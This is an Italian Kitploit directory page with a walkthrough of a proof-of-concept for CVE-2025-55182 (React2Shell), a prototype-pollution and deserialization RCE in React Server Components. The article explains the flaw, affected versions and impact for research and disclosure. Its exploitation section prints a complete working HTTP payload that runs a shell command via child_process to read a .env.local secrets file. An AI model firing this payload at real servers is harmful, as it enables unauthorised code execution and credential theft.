Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
React2ShellPoC — Questo repository fornisce una proof-of-concept per CVE-2025-55182 (React2Shell), una vulnerabilità di esecuzione remota di codice nei React Server Components. Dimostra come funziona l'exploit, inclusi il payload e l'impatto. | Kitploit
Strumenti/GitHubGitHub/git0xlai/react2shellpoc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPaper e RicercaApprendimento e FormazioneSviluppo Payload
GitHubgit0xlai/react2shellpoc

React2ShellPoC

Questo repository fornisce una proof-of-concept per CVE-2025-55182 (React2Shell), una vulnerabilità di esecuzione remota di codice nei React Server Components. Dimostra come funziona l'exploit, inclusi il payload e l'impatto.

Vedi Repository
7 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Capire CVE-2025-55182 (React2Shell): Un'analisi approfondita dell'esecuzione remota di codice tramite React Server Components

Panoramica

CVE-2025-55182, nota anche come React2Shell, è una vulnerabilità critica di esecuzione remota di codice (RCE) che colpisce React Server Components. Questa falla consente ad attaccanti non autenticati di eseguire codice arbitrario su server vulnerabili sfruttando un problema di deserializzazione non sicura nel protocollo Flight di React.

Dato il suo punteggio CVSS di 10.0, questa vulnerabilità è estremamente grave e richiede attenzione immediata. In questo articolo ti guiderò attraverso i dettagli della vulnerabilità, il meccanismo dell'exploit e fornirò una dimostrazione proof-of-concept (PoC). Iniziamo.

Versioni interessate

Le seguenti versioni di React Server Components e dei pacchetti correlati sono vulnerabili:

  • React Server Components: 19.0.0, 19.1.0, 19.1.1, 19.2.0

  • Pacchetti interessati:

    • react-server-dom-parcel

    • react-server-dom-turbopack

    • react-server-dom-webpack

Cosa sono React e React Server Components?

React.js è una delle librerie JavaScript più popolari per la creazione di interfacce utente, soprattutto nel contesto delle single-page application (SPA). Consente agli sviluppatori di creare esperienze utente dinamiche e interattive.

React Server Components (RSC) è una funzionalità sperimentale che consente di renderizzare alcune parti di un'app React sul server, piuttosto che sul client. Questo riduce la quantità di JavaScript necessaria lato client e migliora le prestazioni, soprattutto nelle applicazioni di grandi dimensioni.

Tuttavia, RSC introduce nuove complessità, in particolare nel modo in cui i dati vengono scambiati tra server e client. CVE-2025-55182 sfrutta uno di questi aspetti legati al protocollo Flight, utilizzato in RSC per trasferire i dati tra server e client.


La vulnerabilità

Riepilogo della vulnerabilità

CVE-2025-55182 deriva da una deserializzazione non sicura nel protocollo Flight di React. La deserializzazione è il processo di conversione di dati serializzati (solitamente JSON) in un oggetto in memoria. React utilizza questo processo per gestire i dati scambiati tra server e client durante il rendering lato server.

Tuttavia, l'implementazione della deserializzazione di React non è sicura. In particolare, React utilizza la notazione a parentesi quadre per accedere alle proprietà degli oggetti (ad es., moduleExports[metadata[2]]), il che consente agli attaccanti di manipolare la catena dei prototipi degli oggetti JavaScript. Ciò comporta una prototype pollution e apre la possibilità di modificare le proprietà degli oggetti in modi inaspettati, consentendo agli attaccanti di sfruttare la logica di deserializzazione.

Causa principale

La causa principale della vulnerabilità risiede nel modo in cui React gestisce i payload del protocollo Flight. L'uso della notazione a parentesi quadre per l'accesso alle proprietà consente agli attaccanti di attraversare la catena dei prototipi, dando loro accesso a proprietà che normalmente non dovrebbero essere accessibili, come constructor. Manipolando questa proprietà, gli attaccanti possono accedere al costruttore globale Function ed eseguire codice JavaScript arbitrario sul server.

Come funziona l'exploit

L'exploit funziona inviando un payload appositamente costruito al server, che manipola la logica di deserializzazione del protocollo Flight. Combinando prototype pollution e deserializzazione non sicura, un attaccante può ottenere il controllo del server ed eseguire codice arbitrario.

I componenti chiave dell'attacco includono:

  1. Prototype Pollution: l'attaccante manipola la catena dei prototipi di un oggetto per iniettare nuove proprietà, inclusa la proprietà constructor e Function.

  2. Esecuzione del payload: una volta che l'attaccante ha accesso al costruttore Function, può eseguire codice JavaScript arbitrario, come leggere file o eseguire comandi di sistema.


Sfruttamento passo dopo passo

Configurazione dell'ambiente vulnerabile

Per testare l'exploit, avrai bisogno di un ambiente React vulnerabile. Ecco come configurarlo:

  1. Crea un progetto vulnerabile
    Per prima cosa, crea un nuovo progetto Next.js con una versione vulnerabile di React Server Components:
  • npx [email protected] poc-react2shell cd poc-react2shell

    In alternativa, puoi utilizzare un repository GitHub preconfigurato che contiene già l'ambiente vulnerabile.

  • Crea un file di ambiente di test
    Nella directory principale del progetto, crea un file .env.local contenente dati sensibili, come chiavi API. L'attaccante prenderà di mira questo file nel PoC:

  • SECRET_API_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX

  • Avvia il server di sviluppo
    Esegui il server di sviluppo:

  1. npm run dev

    Il server vulnerabile dovrebbe ora essere in esecuzione su http://localhost:3000.


Passaggi per lo sfruttamento

Una volta che l'ambiente è pronto, puoi inviare il payload dannoso per attivare l'exploit. È qui che Burp Suite o qualsiasi altro strumento proxy HTTP torna utile.

  1. Invia il payload dannoso
    Apri Burp Suite e vai alla scheda Repeater. Imposta l'URL di destinazione su http://localhost:3000/ e invia il seguente payload dannoso:

  2. POST / HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0 Next-Action: x X-Nextjs-Request-Id: b5dce965 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Length: 752 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": { "_prefix": "var res=process.mainModule.require('child_process').execSync('cat .env.local',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_chunks": "$Q2", "_formData": { "get": "$1:constructor:constructor" } } } ------WebKitFormBoundaryx8jO2oVc6SWP3Sad

  3. Analizza la risposta
    Dopo aver inviato la richiesta, se l'exploit ha successo, il server risponderà con il contenuto del file .env.local (o di qualsiasi dato sensibile nelle variabili d'ambiente). Questo conferma l'accesso dell'attaccante ai dati riservati. Risposta


Spiegazione del payload dannoso

Analisi degli header

  1. Host: specifica il server di destinazione (localhost:3000).

  2. User-Agent: identifica il client che effettua la richiesta. La stringa è tipicamente di un browser, ma qui può essere modificata per offuscare l'attacco.

  3. Next-Action: probabilmente parte dell'elaborazione di Next.js, potrebbe confondere il server o interagire con il processo di deserializzazione.

  4. X-Nextjs-Request-Id: ID di richiesta univoco per il tracciamento e il debug in Next.js.

  5. Content-Type: dati multipart/form-data, utilizzati per dati strutturati come JSON o caricamenti di file.

  6. Content-Length: indica la lunghezza del corpo della richiesta.

Campi multipart

  • Campo 0: contiene il payload che innesca la prototype pollution. Modifica il prototipo dell'oggetto, aggiunge una nuova proprietà then e include un oggetto _response dannoso. _prefix esegue un comando child_process per leggere il file .env.local.

  • Campo 1: fa riferimento al Campo 0 per propagare l'attacco.

  • Campo 2: array vuoto, per garantire che la struttura del payload rimanga intatta.


Impatto della vulnerabilità

La vulnerabilità CVE-2025-55182 consente agli attaccanti di:

  1. Eseguire codice arbitrario sul server.

  2. Leggere file sensibili, come chiavi API e file di configurazione.

  3. Stabilire reverse shell, ottenendo potenzialmente il controllo completo del server.

  4. Esfiltrare dati sensibili dal server.


Conclusione

CVE-2025-55182 (React2Shell) è una vulnerabilità critica in React Server Components che consente ad attaccanti non autenticati di eseguire codice arbitrario su server vulnerabili. Sfruttando la deserializzazione non sicura e la prototype pollution, gli attaccanti possono ottenere il controllo completo del server, leggere dati sensibili ed eseguire comandi dannosi.

Se stai utilizzando React Server Components, è fondamentale aggiornare alle ultime versioni corrette per mitigare questa vulnerabilità. Aderire alle migliori pratiche di sicurezza, come la validazione degli input e una corretta gestione della deserializzazione, è essenziale per prevenire vulnerabilità simili.

Riferimenti


  • Dettagli CVE-2025-55182
  • Next.js-RSC-RCE-Scanner-CVE-2025-66478
  • PoC [kOaDT]
  • react2shellcve202555182

Dichiarazione di non responsabilità

Questa prova di concetto è intesa esclusivamente a scopo educativo e di ricerca. Non tentare di sfruttare o testare vulnerabilità su alcun sistema senza il consenso esplicito e scritto del proprietario del sistema. Il test non autorizzato può essere illegale e non etico. Aderisci sempre a pratiche legali e responsabili nel campo della cybersecurity.

Scarica lo strumento